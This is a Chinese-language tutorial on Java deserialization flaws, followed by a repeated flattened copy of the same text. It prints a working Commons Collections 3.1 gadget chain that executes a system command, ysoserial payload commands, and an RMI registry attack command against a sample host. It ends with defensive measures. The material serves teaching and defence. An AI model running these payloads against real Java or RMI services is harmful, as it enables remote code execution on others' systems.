浅显易懂的JAVA反序列化入门
字数 1529 2025-08-26 22:11:35

Java反序列化漏洞深入解析与实战

0x00 前言

本文全面解析Java反序列化漏洞原理及利用方式,重点讲解Apache Commons Collections 3.1反序列化漏洞和RMI远程利用方法。内容涵盖Java反射机制、序列化操作、漏洞利用链构造以及实际攻击场景实现。

0x01 Java反序列化基础

Java反射机制

Java反射是反序列化漏洞利用的核心技术,允许在运行时动态调用类和方法:

// 正常执行系统命令
Runtime.getRuntime().exec("notepad.exe");

// 反射方式执行系统命令
Object runtime = Class.forName("java.lang.Runtime")
                     .getMethod("getRuntime", new Class[]{})
                     .invoke(null);
Class.forName("java.lang.Runtime")
     .getMethod("exec", String.class)
     .invoke(runtime, "notepad.exe");

关键方法:

  • Class.forName() - 加载类
  • getMethod() - 获取方法
  • invoke() - 调用方法

Java序列化操作

Java序列化相关类:

  • ObjectOutputStream.writeObject() - 序列化对象
  • ObjectInputStream.readObject() - 反序列化对象

示例代码:

// 序列化
FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();

// 反序列化
FileInputStream fileInputStream = new FileInputStream("serialize.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object result = objectInputStream.readObject();
objectInputStream.close();

0x02 Commons Collections 3.1反序列化漏洞

漏洞组件

漏洞存在于Apache Commons Collections 3.1及以下版本,下载地址:
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1

关键类分析

  1. InvokerTransformer

    • 核心漏洞类,利用反射执行任意方法
    public Object transform(Object input) {
        Class cls = input.getClass();
        Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
        return method.invoke(input, this.iArgs);
    }
    
  2. ChainedTransformer

    • 将多个Transformer串联执行
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
        return object;
    }
    
  3. TransformedMap

    • 提供触发漏洞的入口点
    protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }
    

漏洞利用链构造

完整利用链构造代码:

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[] {String.class, Class[].class}, 
        new Object[] {"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[] {Object.class, Object[].class}, 
        new Object[] {null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[] {String.class}, 
        new Object[] {"calc.exe"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

// 触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");

利用链执行流程

  1. ConstantTransformer(Runtime.class) - 返回Runtime类对象
  2. InvokerTransformer("getMethod", ...) - 获取getRuntime方法
  3. InvokerTransformer("invoke", ...) - 调用getRuntime()获取Runtime实例
  4. InvokerTransformer("exec", ...) - 执行系统命令

自动化利用工具

使用ysoserial生成payload:

java -jar ysoserial.jar CommonsCollections5 calc.exe > payload.bin

0x03 RMI远程利用

RMI基础

RMI(Remote Method Invocation)允许远程调用Java对象方法,通信流程:

  1. 客户端 → 客户端stub(序列化)
  2. 客户端stub → 服务器skeleton(反序列化)
  3. 服务器处理请求
  4. 服务器skeleton → 客户端stub(序列化)
  5. 客户端stub → 客户端(反序列化)

RMI服务实现

  1. 定义远程接口:
public interface User extends Remote {
    String name(String name) throws RemoteException;
    void say(String say) throws RemoteException;
    void dowork(Object work) throws RemoteException;
}
  1. 实现接口:
public class UserImpl extends UnicastRemoteObject implements User {
    public void dowork(Object work) throws RemoteException {
        System.out.println("your work is " + work);
    }
}
  1. 启动RMI服务:
String url = "rmi://10.10.10.1:4396/User";
User user = new UserImpl();
LocateRegistry.createRegistry(4396);
Naming.bind(url, user);

RMI反序列化攻击

当RMI服务接收Object参数时,可传递恶意序列化对象:

String url = "rmi://10.10.10.1:4396/User";
User userClient = (User) Naming.lookup(url);
userClient.dowork(getPayload()); // 传递恶意对象

使用ysoserial直接攻击RMI服务:

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit \
    10.10.10.1 4396 CommonsCollections1 "calc.exe"

0x04 JDK版本差异

JDK 1.7与1.8区别

  1. AnnotationInvocationHandler变化

    • JDK 1.7中直接调用setValue()
    • JDK 1.8中修改了触发逻辑
  2. 利用方式

    • JDK 1.7可使用AnnotationInvocationHandler触发
    • JDK 1.8需使用其他链如BadAttributeValueExpException

0x05 防御措施

  1. 升级Commons Collections到4.0及以上版本
  2. 使用JDK 1.8u121及以上版本(引入JEP290)
  3. 反序列化时进行输入验证
  4. 使用安全管理器限制危险操作

参考资源

  1. Commons Collections漏洞分析
  2. RMI安全研究
  3. ysoserial工具
  4. Java反序列化备忘录
Java反序列化漏洞深入解析与实战 0x00 前言 本文全面解析Java反序列化漏洞原理及利用方式,重点讲解Apache Commons Collections 3.1反序列化漏洞和RMI远程利用方法。内容涵盖Java反射机制、序列化操作、漏洞利用链构造以及实际攻击场景实现。 0x01 Java反序列化基础 Java反射机制 Java反射是反序列化漏洞利用的核心技术,允许在运行时动态调用类和方法: 关键方法: Class.forName() - 加载类 getMethod() - 获取方法 invoke() - 调用方法 Java序列化操作 Java序列化相关类: ObjectOutputStream.writeObject() - 序列化对象 ObjectInputStream.readObject() - 反序列化对象 示例代码: 0x02 Commons Collections 3.1反序列化漏洞 漏洞组件 漏洞存在于Apache Commons Collections 3.1及以下版本,下载地址: https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1 关键类分析 InvokerTransformer 核心漏洞类,利用反射执行任意方法 ChainedTransformer 将多个Transformer串联执行 TransformedMap 提供触发漏洞的入口点 漏洞利用链构造 完整利用链构造代码: 利用链执行流程 ConstantTransformer(Runtime.class) - 返回Runtime类对象 InvokerTransformer("getMethod", ...) - 获取getRuntime方法 InvokerTransformer("invoke", ...) - 调用getRuntime()获取Runtime实例 InvokerTransformer("exec", ...) - 执行系统命令 自动化利用工具 使用ysoserial生成payload: 0x03 RMI远程利用 RMI基础 RMI(Remote Method Invocation)允许远程调用Java对象方法,通信流程: 客户端 → 客户端stub(序列化) 客户端stub → 服务器skeleton(反序列化) 服务器处理请求 服务器skeleton → 客户端stub(序列化) 客户端stub → 客户端(反序列化) RMI服务实现 定义远程接口: 实现接口: 启动RMI服务: RMI反序列化攻击 当RMI服务接收Object参数时,可传递恶意序列化对象: 使用ysoserial直接攻击RMI服务: 0x04 JDK版本差异 JDK 1.7与1.8区别 AnnotationInvocationHandler变化 : JDK 1.7中直接调用 setValue() JDK 1.8中修改了触发逻辑 利用方式 : JDK 1.7可使用AnnotationInvocationHandler触发 JDK 1.8需使用其他链如BadAttributeValueExpException 0x05 防御措施 升级Commons Collections到4.0及以上版本 使用JDK 1.8u121及以上版本(引入JEP290) 反序列化时进行输入验证 使用安全管理器限制危险操作 参考资源 Commons Collections漏洞分析 RMI安全研究 ysoserial工具 Java反序列化备忘录